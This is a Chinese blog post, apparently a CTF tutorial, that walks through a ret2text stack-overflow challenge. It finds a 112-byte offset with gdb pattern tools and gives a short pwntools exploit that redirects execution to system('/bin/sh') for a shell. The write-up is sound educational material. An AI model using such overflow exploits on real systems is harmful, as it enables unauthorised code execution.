必威体育Betway必威体育官网
当前位置:首页 > IT技术

基本ROP(一)

时间:2019-05-31 04:44:08来源:IT技术作者:seo实验室小编阅读:68次「手机版」
 

rop

每日一结【第1天】

友情链接

CTF Wiki

二进制保护机制

栈溢出原理

一步一步学ROP之linux_x86篇

一步一步学ROP之linux_x64篇

ret2text

原理:

ret2text即需要我们控制程序执行程序本身已有的的代码(.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(也就是gadgets),这就是我们所要说的rop。

这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。

样例:ret2text

先运行一下程序,发现只是让输入一串字符串

这里写图片描述

file指令查看,发现是32位程序,gdb调试,查看保护机制

这里写图片描述

使用IDA Pro分析一波,发现这个地方是存在栈溢出漏洞

这里写图片描述

然后我们又会发现secure函数里存在system(“/bin/sh”)

这里写图片描述

那我们的目标就是控制程序直接跳到0x0804863A处从而拿到shell,接下来就开始构造payload

个人比较喜欢使用pattern来确定偏移量

pattern create 150用来生成一段长150个字节的字符串

这里写图片描述

pattern offset $ebp用来确定输入的字符串第一个字节与ebp的距离,这里我们看到显示的是108,但是我们要覆盖掉ebp,这样才能覆盖ret地址,所以这段长度应该是112(也可以使用 pattern offset 0x41384141直接得到112,但是64位程序不能这样,具体原理我还不是很理解)

这里写图片描述

现在开始构造payload

payload = ‘A’ * 112 + p32(target_addr)

exp:

from pwn import *

r = process('./ret2text')

system_addr = 0x0804863A
payload = 'A'*112 + p32(system_addr)

r.recvuntil('There is something amazing here, do you know anything?')
r.sendline(payload)

r.interactive()

执行之后

这里写图片描述

就这样~~挺简单的一个程序,但是真正完全理解其中的道理还是需要一定时间的

友情链接:https://ctf-wiki.github.io/ctf-wiki/pwn/stackoverflow/basic_rop/

相关阅读

企业网站建设的基本流程

  企业网站建设的基本流程。一个优秀的经典网站从策划到执行完成不是一件简单的工作,对于很多外行用户来说,把网站建设想象的太过

网站建设的基本流程有哪些?

  网站建设的基本流程有哪些?相信网站对于企业的发展大家都是有目共睹的,因此网站成为了现代企业的必备。虽然网站的重要性都了解

Excel2007中工作表基本操作的功能使用

这篇是学习Excel2007系列经验的第二篇经验,具体讲的是Excel中进行工作表的操作,该如何去进行操作的呢?今天,seo实验室小编就教大家在

一步一个坑之PropertyDescriptor

报错:java.beans.IntrospectionException: Method not found:……这个是在对象里设置get和set时,书写不符合规范导致的如:getuserId(

iOS_UISegmentedControl的基本使用方法

@property (nonatomic,strong)UISegmentedControl *segControl;-(UISegmentedControl *)segControl { if (!_segControl) {

分享到:

栏目导航

推荐阅读

热门阅读